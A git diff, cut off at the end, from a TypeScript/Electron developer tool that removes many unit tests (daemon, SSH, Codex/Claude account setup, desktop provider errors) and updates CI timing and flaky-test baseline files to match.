.../ssh/ssh-agent-identity-filter.test.ts | 19 -- src/main/ssh/ssh-control-socket.test.ts | 18 -- ...ser-extension-content-script-relay.test.ts | 65 ----- ...use-remote-browser-page-navigation.test.ts | 23 -- .../emulator-keyboard-paste.test.ts | 21 -- ...inalOrchestrationDialog.freshness.test.tsx | 21 -- .../use-jira-source-connection.test.tsx | 30 --- .../PluginMarketplaceSourceDialog.test.tsx | 139 ---------- ...source-control-entry-failure-toast.test.ts | 59 ---- ...e-control-entry-mutation-failures.test.tsx | 241 ----------------- .../use-source-control-git-history.test.tsx | 21 -- ...faultWindowsProjectRuntimeSetting.test.tsx | 140 ---------- .../settings/SshTargetCard.test.tsx | 137 ---------- .../SshTargetList.large-config.test.tsx | 10 - .../settings/TaskSourceLinearSetup.test.tsx | 132 --------- ...se-task-source-provider-readiness.test.tsx | 182 ------------- .../sidebar/ProjectGroupDeleteDialog.test.tsx | 40 --- .../WorkspaceKanbanDrawerHeader.test.tsx | 140 ---------- .../WorktreeDeveloperMenuReveal.test.tsx | 138 ---------- .../WorktreeList.empty-project-rows.test.ts | 135 ---------- ...ndary-details.store-subscriptions.test.tsx | 83 ------ ...ee-agent-rows-subscriptions.bench.test.tsx | 132 --------- .../resource-usage-space-scan-ready.test.ts | 140 ---------- ...nderer-owned-agent-status-registry.test.ts | 14 - ...l-link-provider-candidate-failures.test.ts | 58 ---- ...cos-tcc-prompt-notice-subscription.test.ts | 67 +---- .../gitlab-work-item-source-lookup.test.ts | 191 ------------- .../slices/store-create-tab-id-hint.test.ts | 40 --- .../artifacts/plugin-syntax-artifact.test.ts | 16 -- 73 files changed, 11 insertions(+), 3962 deletions(-) delete mode 100644 src/main/ipc/github-issue-source-preference.test.ts delete mode 100644 src/main/orcad/orcad-native-preflight.test.ts delete mode 100644 src/renderer/src/components/plugins/dialogs/PluginMarketplaceSourceDialog.test.tsx delete mode 100644 src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-mutation-failures.test.tsx delete mode 100644 src/renderer/src/components/settings/DefaultWindowsProjectRuntimeSetting.test.tsx delete mode 100644 src/renderer/src/components/settings/SshTargetCard.test.tsx delete mode 100644 src/renderer/src/components/settings/TaskSourceLinearSetup.test.tsx delete mode 100644 src/renderer/src/components/settings/use-task-source-provider-readiness.test.tsx delete mode 100644 src/renderer/src/components/sidebar/WorkspaceKanbanDrawerHeader.test.tsx delete mode 100644 src/renderer/src/components/sidebar/WorktreeDeveloperMenuReveal.test.tsx delete mode 100644 src/renderer/src/components/sidebar/WorktreeList.empty-project-rows.test.ts delete mode 100644 src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx delete mode 100644 src/renderer/src/components/status-bar/resource-usage-space-scan-ready.test.ts delete mode 100644 src/renderer/src/lib/gitlab-work-item-source-lookup.test.ts diff --git a/config/flaky-test-pattern-baseline.txt b/config/flaky-test-pattern-baseline.txt index 27898c35e8b..c9d5dc45a03 100644 --- a/config/flaky-test-pattern-baseline.txt +++ b/config/flaky-test-pattern-baseline.txt @@ -42,7 +42,7 @@ 1 test-no-in-test-import-actual:src/main/runtime/orca-runtime-files-terminal-artifact-swap-detection.test.ts 1 test-no-in-test-import-actual:src/main/runtime/structured-agent-cli-writers.test.ts 1 test-no-in-test-import-actual:src/main/speech/openai-api-key-store.test.ts -6 test-no-in-test-import-actual:src/main/ssh/config/ssh-config-loader-regression.test.ts +5 test-no-in-test-import-actual:src/main/ssh/config/ssh-config-loader-regression.test.ts 2 test-no-in-test-import-actual:src/main/ssh/connection/ssh-connection-auth-fallback.test.ts 1 test-no-in-test-import-actual:src/main/ssh/orcad-snapshot-room.test.ts 2 test-no-in-test-import-actual:src/main/window/dropped-path-preparation.test.ts @@ -380,7 +380,7 @@ 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-stop-aborts-start.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-target-reconcile.test.ts 1 test-no-real-time-wait:src/main/native-chat/transcript-opencode2-sqlite.test.ts -2 test-no-real-time-wait:src/main/native-chat/transcript-watch-error.test.ts +1 test-no-real-time-wait:src/main/native-chat/transcript-watch-error.test.ts 2 test-no-real-time-wait:src/main/native-chat/transcript-watch-liveness.test.ts 11 test-no-real-time-wait:src/main/native-chat/transcript-watch.test.ts 1 test-no-real-time-wait:src/main/node-runtime/managed-runtime-installation.test.ts @@ -1108,7 +1108,6 @@ 1 test-no-wall-clock:src/renderer/src/components/sidebar/WorktreeList.lineage-agent-expansion-coupling.test.tsx 1 test-no-wall-clock:src/renderer/src/components/sidebar/WorktreeList.lineage-child-real-card.test.tsx 5 test-no-wall-clock:src/renderer/src/components/sidebar/use-workspace-reference-details.test.tsx -3 test-no-wall-clock:src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx 1 test-no-wall-clock:src/renderer/src/components/status-bar/RuntimeHostStatusRow.test.tsx 5 test-no-wall-clock:src/renderer/src/components/status-bar/inline-usage-bars.test.tsx 4 test-no-wall-clock:src/renderer/src/components/status-bar/provider-segment-balance.test.tsx diff --git a/config/scripts/ci-shard-timings.json b/config/scripts/ci-shard-timings.json index 5b879e555a9..85791704055 100644 --- a/config/scripts/ci-shard-timings.json +++ b/config/scripts/ci-shard-timings.json @@ -2852,7 +2852,6 @@ "src/main/ipc/folder-repo-git-upgrade.test.ts": 2155, "src/main/ipc/freebuff-detection.test.ts": 26, "src/main/ipc/git-status-upstream-ref-watch-request.test.ts": 759, - "src/main/ipc/github-issue-source-preference.test.ts": 688, "src/main/ipc/github-pr-refresh-routing.test.ts": 583, "src/main/ipc/github-repo-access-guards.test.ts": 614, "src/main/ipc/github-repo-routing-twin-host.test.ts": 91, @@ -3985,7 +3984,6 @@ "src/main/orcad/orcad-managed-stop-identity.test.ts": 156, "src/main/orcad/orcad-managed-stop.test.ts": 1249, "src/main/orcad/orcad-migration-wsl-destination.test.ts": 63, - "src/main/orcad/orcad-native-preflight.test.ts": 161, "src/main/orcad/orcad-node-launcher.integration.test.ts": 90, "src/main/orcad/orcad-observability.test.ts": 229, "src/main/orcad/orcad-packaged-node-pty.integration.test.ts": 46, @@ -8256,7 +8254,6 @@ "src/renderer/src/components/right-sidebar/source-control/commit/rename-mutation-paths.test.ts": 70, "src/renderer/src/components/right-sidebar/source-control/commit/source-control-discard-editor-owner.test.tsx": 527, "src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-failure-toast.test.ts": 282, - "src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-mutation-failures.test.tsx": 514, "src/renderer/src/components/right-sidebar/source-control/commit/use-bulk-actions-capped-stage.test.tsx": 1547, "src/renderer/src/components/right-sidebar/source-control/commit/use-commit-message-generation.cancel.test.ts": 1660, "src/renderer/src/components/right-sidebar/source-control/listing/content-status.test.tsx": 269, @@ -8357,7 +8354,6 @@ "src/renderer/src/components/settings/CloudVmSetupGuide.test.tsx": 1716, "src/renderer/src/components/settings/CodexLoginLinkNotice.test.tsx": 541, "src/renderer/src/components/settings/CommitMessageAiPane.test.tsx": 1913, - "src/renderer/src/components/settings/DefaultWindowsProjectRuntimeSetting.test.tsx": 337, "src/renderer/src/components/settings/DeveloperPermissionsPane.test.tsx": 1754, "src/renderer/src/components/settings/EphemeralVmRuntimesSection.test.tsx": 2771, "src/renderer/src/components/settings/EphemeralVmsPane.test.tsx": 803, @@ -8416,12 +8412,10 @@ "src/renderer/src/components/settings/SshHostRecoverServerAction.test.tsx": 343, "src/renderer/src/components/settings/SshHostRestartServerAction.test.tsx": 385, "src/renderer/src/components/settings/SshPane.test.tsx": 1821, - "src/renderer/src/components/settings/SshTargetCard.test.tsx": 2061, "src/renderer/src/components/settings/SshTargetDestructiveActions.test.tsx": 338, "src/renderer/src/components/settings/SshTargetForm.test.tsx": 690, "src/renderer/src/components/settings/SshTargetList.large-config.test.tsx": 371, "src/renderer/src/components/settings/SshTargetList.test.tsx": 2127, - "src/renderer/src/components/settings/TaskSourceLinearSetup.test.tsx": 391, "src/renderer/src/components/settings/TaskSourceProviderCard.test.tsx": 309, "src/renderer/src/components/settings/TaskSourceShowInTasksStep.test.tsx": 194, "src/renderer/src/components/settings/TaskSourceSimpleSetup.test.tsx": 323, @@ -8506,7 +8500,6 @@ "src/renderer/src/components/settings/use-runtime-environment-catalog.test.tsx": 2203, "src/renderer/src/components/settings/use-runtime-environment-mutation-actions.test.tsx": 1871, "src/renderer/src/components/settings/use-session-search-status.test.tsx": 362, - "src/renderer/src/components/settings/use-task-source-provider-readiness.test.tsx": 199, "src/renderer/src/components/settings/use-zcode-plan-credentials.test.tsx": 1115, "src/renderer/src/components/settings/useGhosttyImport.test.ts": 83, "src/renderer/src/components/settings/useWarpThemeImport.test.ts": 153, @@ -8578,7 +8571,6 @@ "src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.mount-gating.test.tsx": 1554, "src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.search.test.tsx": 2430, "src/renderer/src/components/sidebar/WorkspaceKanbanDrawer.task-status-sync.test.tsx": 1766, - "src/renderer/src/components/sidebar/WorkspaceKanbanDrawerHeader.test.tsx": 1722, "src/renderer/src/components/sidebar/WorkspaceKanbanLaneCardList.test.tsx": 286, "src/renderer/src/components/sidebar/WorkspaceKanbanLaneGrid.test.tsx": 519, "src/renderer/src/components/sidebar/WorkspaceKanbanSearchField.test.tsx": 658, @@ -8610,9 +8602,7 @@ "src/renderer/src/components/sidebar/WorktreeContextMenu.delete-shortcut.test.tsx": 1570, "src/renderer/src/components/sidebar/WorktreeContextMenu.react185-bystander.test.tsx": 1475, "src/renderer/src/components/sidebar/WorktreeContextMenu.test.ts": 164, - "src/renderer/src/components/sidebar/WorktreeDeveloperMenuReveal.test.tsx": 702, "src/renderer/src/components/sidebar/WorktreeList.card-memo-stability.test.tsx": 819, - "src/renderer/src/components/sidebar/WorktreeList.empty-project-rows.test.ts": 3395, "src/renderer/src/components/sidebar/WorktreeList.folder-workspace-rows.test.ts": 2943, "src/renderer/src/components/sidebar/WorktreeList.group-headers.test.ts": 1786, "src/renderer/src/components/sidebar/WorktreeList.lineage-agent-expansion-coupling.test.tsx": 3116, @@ -8769,7 +8759,6 @@ "src/renderer/src/components/sidebar/worktree-agent-orchestration-index.test.ts": 81, "src/renderer/src/components/sidebar/worktree-agent-remote-attribution.test.ts": 885, "src/renderer/src/components/sidebar/worktree-agent-row-selectors.test.ts": 43, - "src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx": 1878, "src/renderer/src/components/sidebar/worktree-card-agent-ack-inputs.test.tsx": 145, "src/renderer/src/components/sidebar/worktree-card-agent-summary.test.ts": 2036, "src/renderer/src/components/sidebar/worktree-card-compact-agent-row.stable-message.test.tsx": 2596, @@ -8937,7 +8926,6 @@ "src/renderer/src/components/status-bar/resource-session-removal-render-budget.test.tsx": 288, "src/renderer/src/components/status-bar/resource-usage-folder-merge.test.ts": 87, "src/renderer/src/components/status-bar/resource-usage-open-slices.test.ts": 1804, - "src/renderer/src/components/status-bar/resource-usage-space-scan-ready.test.ts": 38, "src/renderer/src/components/status-bar/runtime-host-resources.test.ts": 45, "src/renderer/src/components/status-bar/ssh-status-menu-rows.test.ts": 48, "src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx": 968, @@ -10156,7 +10144,6 @@ "src/renderer/src/lib/github-work-item-source-lookup.test.ts": 130, "src/renderer/src/lib/github-work-item-workspace-attachment.test.ts": 87, "src/renderer/src/lib/gitlab-links.test.ts": 43, - "src/renderer/src/lib/gitlab-work-item-source-lookup.test.ts": 253, "src/renderer/src/lib/hook-command-delayed-delivery-perf.test.ts": 1086, "src/renderer/src/lib/hook-command-delayed-delivery.test.ts": 1444, "src/renderer/src/lib/host-chat-program.test.ts": 1832, diff --git a/config/scripts/orcad-e2e-change-scope.test.mjs b/config/scripts/orcad-e2e-change-scope.test.mjs index 769e366b741..cfda61b2766 100644 --- a/config/scripts/orcad-e2e-change-scope.test.mjs +++ b/config/scripts/orcad-e2e-change-scope.test.mjs @@ -38,7 +38,6 @@ const cases = { windows: { excluded: [ 'src/main/daemon/daemon-server.test.ts', - 'src/main/orcad/orcad-native-preflight.test.ts', 'src/main/orcad/nested/orcad-launch.test.ts', 'src/cli/runtime/serve.test.ts', 'src/cli/runtime/nested/serve.test.ts' diff --git a/config/scripts/release-cut-token-permissions.test.mjs b/config/scripts/release-cut-token-permissions.test.mjs index 494c50a2e29..c35e1ae2726 100644 --- a/config/scripts/release-cut-token-permissions.test.mjs +++ b/config/scripts/release-cut-token-permissions.test.mjs @@ -57,9 +57,6 @@ const EXPECTED_MATRIX = { [`${RELEASE_WORKFLOW}#dependency-security -> .github/workflows/dependency-security.yml#rust`]: { contents: 'read' }, - [`${RELEASE_WORKFLOW}#dependency-security -> .github/workflows/dependency-security.yml#notify`]: { - contents: 'read' - }, [`${RELEASE_WORKFLOW}#docs-production-dispatch`]: { actions: 'write' }, [`${RELEASE_WORKFLOW}#homebrew-bump`]: { contents: 'read' }, [`${RELEASE_WORKFLOW}#homebrew-bump -> .github/workflows/homebrew-bump.yml#bump-cask`]: { diff --git a/src/main/browser/extensions/browser-extension-content-script-persistence.test.ts b/src/main/browser/extensions/browser-extension-content-script-persistence.test.ts index f210258ca7e..480b2f3b48d 100644 --- a/src/main/browser/extensions/browser-extension-content-script-persistence.test.ts +++ b/src/main/browser/extensions/browser-extension-content-script-persistence.test.ts @@ -257,24 +257,4 @@ describe('native content script ownership', () => { await nativeCompleted expect(stored()).toEqual([script]) }) - - it('does not write persistence from a native result completing after unload', async () => { - let release = () => {} - let started = () => {} - const entered = new Promise((resolve) => { - started = resolve - }) - mocks.beforeExecute = () => - new Promise((resolve) => { - release = resolve - started() - }) - const pending = context(true)('registerContentScripts', [{ id: 'old' }]) - await entered - forgetBrowserExtensionContentScriptRestore(session, extension.id) - await expect(pending).rejects.toThrow('unloaded') - release() - expect(stored()).toEqual([]) - expect(mocks.windows[0].destroyed).toBe(true) - }) }) diff --git a/src/main/browser/paired-runtime-browser-client-host-registry.test.ts b/src/main/browser/paired-runtime-browser-client-host-registry.test.ts index 52955a2ed13..977eaaf8068 100644 --- a/src/main/browser/paired-runtime-browser-client-host-registry.test.ts +++ b/src/main/browser/paired-runtime-browser-client-host-registry.test.ts @@ -143,22 +143,6 @@ describe('PairedRuntimeBrowserClientHostRegistry', () => { expect(registry.hostsPage('environment-a', 'page-a')).toBe(false) }) - it('closes only the selected environment and permits a later exact restart', async () => { - const first = createComposition() - const second = createComposition() - const compositionFactory = vi.fn().mockReturnValueOnce(first).mockReturnValueOnce(second) - const registry = new PairedRuntimeBrowserClientHostRegistry({ - createComposition: compositionFactory - }) - await registry.start(input(11)) - - await expect(registry.closeEnvironment('environment-a')).resolves.toBe(true) - await registry.start(input(11)) - - expect(first.close).toHaveBeenCalledOnce() - expect(second.start).toHaveBeenCalledOnce() - }) - it('permanently fences new starts before closing every environment', async () => { const first = createComposition() const second = createComposition() diff --git a/src/main/claude-accounts/claude-profile-setup.test.ts b/src/main/claude-accounts/claude-profile-setup.test.ts index 0a8040652fa..fd8f60ad3c4 100644 --- a/src/main/claude-accounts/claude-profile-setup.test.ts +++ b/src/main/claude-accounts/claude-profile-setup.test.ts @@ -175,24 +175,6 @@ describe('Claude account profile setup', () => { expect((await f.setup()).outcome).toBe('refused') expect(existsSync(join(f.defaultHome, 'inner', 'a'))).toBe(false) }) - it('refuses a WSL profile on the Windows host side', async () => { - fixture() - const report = await provisionClaudeAccountProfile({ - dataRoot: '/home/u/.local/share/orca', - profile: describeClaudeProfile('/home/u/.local/share/orca', 'a', { - runtime: 'wsl', - distro: 'Ubuntu', - executionHostId: 'local' - }), - userHome: state.home, - installHooks: null, - platform: 'win32' - }) - expect(report.outcome).toBe('refused') - expect(report.warnings).toEqual([ - expect.objectContaining({ surface: 'profile', code: 'invalid-profile' }) - ]) - }) itLinks('reports skipped and failed hook installs without failing the rest', async () => { const f = fixture() const skipped = await provisionClaudeAccountProfile({ diff --git a/src/main/codex-accounts/legacy-shared-config-compatibility.test.ts b/src/main/codex-accounts/legacy-shared-config-compatibility.test.ts index e90530563a7..204325ad1ba 100644 --- a/src/main/codex-accounts/legacy-shared-config-compatibility.test.ts +++ b/src/main/codex-accounts/legacy-shared-config-compatibility.test.ts @@ -140,20 +140,6 @@ describe('legacy shared Codex config compatibility', () => { expect(readFileSync(join(sharedRuntimeHome, 'config.toml'), 'utf-8')).toBe(staleConfig) }) - it('does not promote retained-pane settings into the real home', () => { - writeFileSync(join(systemCodexHome, 'config.toml'), 'model = "canonical"\n', 'utf-8') - writeFileSync(join(sharedRuntimeHome, 'config.toml'), 'model = "retained-pane-change"\n') - - syncLegacySharedCodexConfigForRetainedPanes({ sharedRuntimeHome, systemCodexHome }) - - expect(readFileSync(join(systemCodexHome, 'config.toml'), 'utf-8')).toBe( - 'model = "canonical"\n' - ) - expect(readFileSync(join(sharedRuntimeHome, 'config.toml'), 'utf-8')).toBe( - 'model = "canonical"\n' - ) - }) - it('does not overwrite trust appended by a retained Codex during the mirror', () => { const runtimeConfigPath = join(sharedRuntimeHome, 'config.toml') const runtimeConfig = 'model = "runtime-before"\n' diff --git a/src/main/codex-accounts/service-add-account-from-home.test.ts b/src/main/codex-accounts/service-add-account-from-home.test.ts index 0779fbd9f6f..d3ada516e83 100644 --- a/src/main/codex-accounts/service-add-account-from-home.test.ts +++ b/src/main/codex-accounts/service-add-account-from-home.test.ts @@ -97,40 +97,6 @@ describe('CodexAccountService.addAccountFromHome', () => { } }) - it('registers a managed Codex account by importing an authenticated CODEX_HOME', async () => { - vi.doMock('../codex-cli/command', () => ({ resolveCodexCommand: () => 'codex' })) - const sourceHome = mkdtempSync(join(tmpdir(), 'orca-codex-source-')) - writeFileSync( - join(sourceHome, 'auth.json'), - createCodexAuthJson('new@example.com', 'provider-account-1', 'refresh-token'), - 'utf-8' - ) - - try { - const settings = createSettings() - const store = createStore(settings) - const rateLimits = createRateLimits() - const runtimeHome = createRuntimeHome() - const { CodexAccountService } = await import('./service') - const service = new CodexAccountService( - store as never, - rateLimits as never, - runtimeHome as never - ) - - const result = await service.addAccountFromHome(sourceHome) - - expect(result.accounts).toHaveLength(1) - expect(result.accounts[0]?.email).toBe('new@example.com') - const managedHomePath = store.getSettings().codexManagedAccounts[0].managedHomePath - expect(existsSync(join(managedHomePath, 'auth.json'))).toBe(true) - expect(runtimeHome.syncForCurrentSelection).toHaveBeenCalled() - } finally { - rmSync(sourceHome, { recursive: true, force: true }) - vi.doUnmock('../codex-cli/command') - } - }) - it('restores settings and runtime selection when post-write activation fails', async () => { vi.doMock('../codex-cli/command', () => ({ resolveCodexCommand: () => 'codex' })) const sourceHome = mkdtempSync(join(tmpdir(), 'orca-codex-source-rollback-')) diff --git a/src/main/codex/codex-real-home-hook-key-spellings.test.ts b/src/main/codex/codex-real-home-hook-key-spellings.test.ts index 57548ed5f74..cf368a21796 100644 --- a/src/main/codex/codex-real-home-hook-key-spellings.test.ts +++ b/src/main/codex/codex-real-home-hook-key-spellings.test.ts @@ -96,12 +96,6 @@ afterEach(() => { }) describe('both spellings of a symlinked ~/.codex', () => { - it('has one key when nothing on the path is a symlink', () => { - mkdirSync(codexHome()) - - expect(getRealHomeHookKeySourcePaths()).toEqual([normalizeCodexHookSourcePath(hooksPath())]) - }) - it('resolves the key through a symlinked HOME before ~/.codex exists', () => { const linkedHome = join(root, 'linked-home') symlinkSync(home, linkedHome, process.platform === 'win32' ? 'junction' : 'dir') diff --git a/src/main/codex/codex-real-home-hook-removal.test.ts b/src/main/codex/codex-real-home-hook-removal.test.ts index acb65f09c77..9b5a1279f7e 100644 --- a/src/main/codex/codex-real-home-hook-removal.test.ts +++ b/src/main/codex/codex-real-home-hook-removal.test.ts @@ -1,6 +1,5 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { - existsSync, mkdirSync, mkdtempSync, readFileSync, @@ -78,11 +77,6 @@ afterEach(() => { }) describe('removeRealHomeCodexHookForOptOut', () => { - it('creates nothing when the user has no ~/.codex', async () => { - expect(await removeRealHomeCodexHookForOptOut([])).toBe('removed') - expect(existsSync(join(home, '.codex'))).toBe(false) - }) - it("keeps a malformed hooks.json's bytes, Orca's trust and its ledger", async () => { mkdirSync(join(home, '.codex')) const entry: CodexTrustEntry = { ...orcaStopAt(hooksJsonPath()), timeoutSec: 10 } @@ -97,12 +91,6 @@ describe('removeRealHomeCodexHookForOptOut', () => { expect(readCodexTrustGrantLedgerHome(join(home, '.codex'))).not.toBeNull() }) - it('keeps everything when hooks.json cannot be read', async () => { - mkdirSync(hooksJsonPath(), { recursive: true }) - - expect(await removeRealHomeCodexHookForOptOut([])).toBe('unavailable') - }) - it('removes only hash-proven Orca trust from a mixed hook group', async () => { mkdirSync(join(home, '.codex')) const userCommand = 'my-user-hook.sh' diff --git a/src/main/computer/desktop-script-provider-errors.test.ts b/src/main/computer/desktop-script-provider-errors.test.ts index c03449529fd..08e99ed99bb 100644 --- a/src/main/computer/desktop-script-provider-errors.test.ts +++ b/src/main/computer/desktop-script-provider-errors.test.ts @@ -3,120 +3,12 @@ import { createDesktopScriptProviderClient, expectDesktopProviderSubprocessStarted, mockDesktopProviderSubprocessThatIgnoresTimeout, - mockBridgeResponse, - resetDesktopScriptProviderTestHarness, - sampleBridgeSnapshot, - sampleCapabilities + resetDesktopScriptProviderTestHarness } from './desktop-script-provider-test-harness' describe('DesktopScriptProviderClient errors and capabilities', () => { afterEach(resetDesktopScriptProviderTestHarness) - it('explains screenshot capture failures while keeping accessibility state usable', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - screenshotPngBase64: null - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Text Editor' })).resolves.toMatchObject({ - snapshot: { - elementCount: 1 - }, - screenshotStatus: { - state: 'failed', - code: 'screenshot_failed', - message: expect.stringContaining('--no-screenshot') - } - }) - }) - - it('preserves desktop provider screenshot failure reasons', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - screenshotPngBase64: null, - screenshotError: { - code: 'screenshot_failed', - message: - 'screenshot exceeded the computer-use payload cap after downscaling; retry with --no-screenshot or target a smaller window' - } - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Text Editor' })).resolves.toMatchObject({ - snapshot: { - elementCount: 1 - }, - screenshotStatus: { - state: 'failed', - code: 'screenshot_failed', - message: expect.stringContaining('payload cap') - } - }) - }) - - it('normalizes list-windows responses after provider handshake', async () => { - mockBridgeResponse({ - ok: true, - capabilities: sampleCapabilities() - }) - mockBridgeResponse({ - ok: true, - app: { name: 'Text Editor', bundleIdentifier: 'Text Editor', pid: 100 }, - windows: [ - { - index: 0, - app: { name: 'Text Editor', bundleIdentifier: 'Text Editor', pid: 100 }, - id: 99, - title: 'Document', - x: 10, - y: 20, - width: 300, - height: 200, - isMinimized: false, - isOffscreen: false, - screenIndex: null, - platform: { backend: 'at-spi' } - } - ] - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.listWindows({ app: 'Text Editor' })).resolves.toMatchObject({ - app: { name: 'Text Editor', bundleId: 'Text Editor', pid: 100 }, - windows: [{ index: 0, id: 99, title: 'Document' }] - }) - }) - - it('maps bridge app errors to RuntimeClientError codes', async () => { - mockBridgeResponse({ ok: false, error: 'appNotFound("Missing")' }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await expect(client.snapshot({ app: 'Missing' })).rejects.toMatchObject({ - code: 'app_not_found' - }) - }) - - it('maps blocked app bridge errors to a policy error', async () => { - mockBridgeResponse({ ok: false, error: 'appBlocked("1Password")' }) - - const client = await createDesktopScriptProviderClient('windows', '/tmp/runtime.ps1') - - await expect(client.snapshot({ app: '1Password' })).rejects.toMatchObject({ - code: 'app_blocked' - }) - }) - it('rejects when the desktop provider subprocess ignores the exec timeout', async () => { vi.useFakeTimers() const kill = vi.fn() diff --git a/src/main/daemon/daemon-appimage-launch.test.ts b/src/main/daemon/daemon-appimage-launch.test.ts index fb9f715e4dc..1b364f7f390 100644 --- a/src/main/daemon/daemon-appimage-launch.test.ts +++ b/src/main/daemon/daemon-appimage-launch.test.ts @@ -21,21 +21,6 @@ const INPUT = { afterEach(() => resolveIdentity.mockReset()) describe('resolveAppImageDaemonLaunch', () => { - it('resolves paths relative to APPDIR on a FUSE-mounted AppImage', () => { - resolveIdentity.mockReturnValue({ appImagePath: '/apps/Orca.AppImage' }) - expect(resolveAppImageDaemonLaunch(INPUT)).toEqual({ - appImagePath: '/apps/Orca.AppImage', - entryPathInAppDir: 'resources/app.asar.unpacked/out/main/daemon-entry.js', - appPathInAppDir: 'resources/app.asar', - appVersion: '1.4.215' - }) - }) - - it('keeps the in-mount launch off a validated AppImage', () => { - resolveIdentity.mockReturnValue(null) - expect(resolveAppImageDaemonLaunch(INPUT)).toBeNull() - }) - it('keeps the in-mount launch for extract-and-run payloads', () => { resolveIdentity.mockReturnValue({ appImagePath: '/apps/Orca.AppImage' }) const extracted = `953 65 0:34 / /tmp rw - tmpfs tmpfs rw` diff --git a/src/main/daemon/daemon-automatic-work-resume.test.ts b/src/main/daemon/daemon-automatic-work-resume.test.ts index 57a70407799..4c208e0cab8 100644 --- a/src/main/daemon/daemon-automatic-work-resume.test.ts +++ b/src/main/daemon/daemon-automatic-work-resume.test.ts @@ -5,7 +5,7 @@ import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' import { DaemonClient } from './client' import { createMockSubprocess } from './daemon-pty-adapter-test-harness' -import { DaemonPtyAdapter } from './daemon-pty-adapter' + import { DaemonServer } from './daemon-server' import { getDaemonSocketPath } from './daemon-spawner' @@ -99,35 +99,4 @@ describe('daemon automatic-work resume', () => { ) expect(readFileSync(markerPath, 'utf8')).toBe(markerBefore) }) - - it('tells a gate-bearing daemon from before resume apart from no gate', async () => { - vi.spyOn(DaemonClient.prototype, 'ensureConnected').mockResolvedValue() - vi.spyOn(DaemonClient.prototype, 'request').mockRejectedValue( - new Error('Unknown request type: resumeAutomaticWork') - ) - const adapter = new DaemonPtyAdapter({ - socketPath: '/tmp/orca-automatic-work-old.sock', - tokenPath: '/tmp/orca-automatic-work-old.token' - }) - try { - await expect(adapter.resumeAutomaticWork()).resolves.toBe('terminal-host-predates-resume') - await expect(adapter.getAutomaticWorkStatus()).resolves.toBeNull() - } finally { - adapter.dispose() - } - }) - - it('does not hide a real failure behind "no gate"', async () => { - vi.spyOn(DaemonClient.prototype, 'ensureConnected').mockResolvedValue() - vi.spyOn(DaemonClient.prototype, 'request').mockRejectedValue(new Error('socket closed')) - const adapter = new DaemonPtyAdapter({ - socketPath: '/tmp/orca-automatic-work-broken.sock', - tokenPath: '/tmp/orca-automatic-work-broken.token' - }) - try { - await expect(adapter.resumeAutomaticWork()).rejects.toThrow('socket closed') - } finally { - adapter.dispose() - } - }) }) diff --git a/src/main/daemon/daemon-file-log.test.ts b/src/main/daemon/daemon-file-log.test.ts index ab055af8e77..2b1bbcc3397 100644 --- a/src/main/daemon/daemon-file-log.test.ts +++ b/src/main/daemon/daemon-file-log.test.ts @@ -2,7 +2,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { createDaemonFileLog, createNoopDaemonFileLog } from './daemon-file-log' +import { createDaemonFileLog } from './daemon-file-log' let dir: string @@ -99,13 +99,3 @@ describe('createDaemonFileLog', () => { expect(events).toEqual(['startup', 'daemon-log-closed']) }) }) - -describe('createNoopDaemonFileLog', () => { - it('accepts log/close calls without touching the filesystem', () => { - const log = createNoopDaemonFileLog() - expect(() => { - log.log('startup', { x: 1 }) - log.close() - }).not.toThrow() - }) -}) diff --git a/src/main/daemon/daemon-pty-adapter-wsl-quit-cwd.test.ts b/src/main/daemon/daemon-pty-adapter-wsl-quit-cwd.test.ts index 9dbf9aecc33..a1f4b7041b4 100644 --- a/src/main/daemon/daemon-pty-adapter-wsl-quit-cwd.test.ts +++ b/src/main/daemon/daemon-pty-adapter-wsl-quit-cwd.test.ts @@ -137,13 +137,4 @@ describe('a bridge WSL pane keeps its shell folder across quit', () => { expect(readRows.mock.calls[0]?.[1]).toBe(5) expect(checkpointCwd(id)).toBe(WSL_CWD) }) - - it('reads no distro for a pane that is not a WSL pane', async () => { - const app = launch() - await openBridgePane(app, 'repo::/repo@@windows', 'C:\\repo') - - await app.disconnectOnly() - - expect(readRows).not.toHaveBeenCalled() - }) }) diff --git a/src/main/daemon/daemon-terminal-limit.test.ts b/src/main/daemon/daemon-terminal-limit.test.ts index cb1b3620396..54f81136227 100644 --- a/src/main/daemon/daemon-terminal-limit.test.ts +++ b/src/main/daemon/daemon-terminal-limit.test.ts @@ -6,7 +6,7 @@ import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, expect, it, vi } from 'vitest' import { DaemonClient } from './client' -import { DaemonPtyAdapter } from './daemon-pty-adapter' + import { DaemonServer } from './daemon-server' import { getDaemonSocketPath } from './daemon-spawner' import { createMockSubprocess } from './daemon-pty-adapter-test-harness' @@ -83,24 +83,6 @@ it('reads and saves on the attached daemon socket, refusing stale identity and l expect(readFileSync(path, 'utf8')).toBe(saved) }) -it('recognizes an older daemon without replacement and preserves real transport failures', async () => { - vi.spyOn(DaemonClient.prototype, 'ensureConnected').mockResolvedValue() - const request = vi - 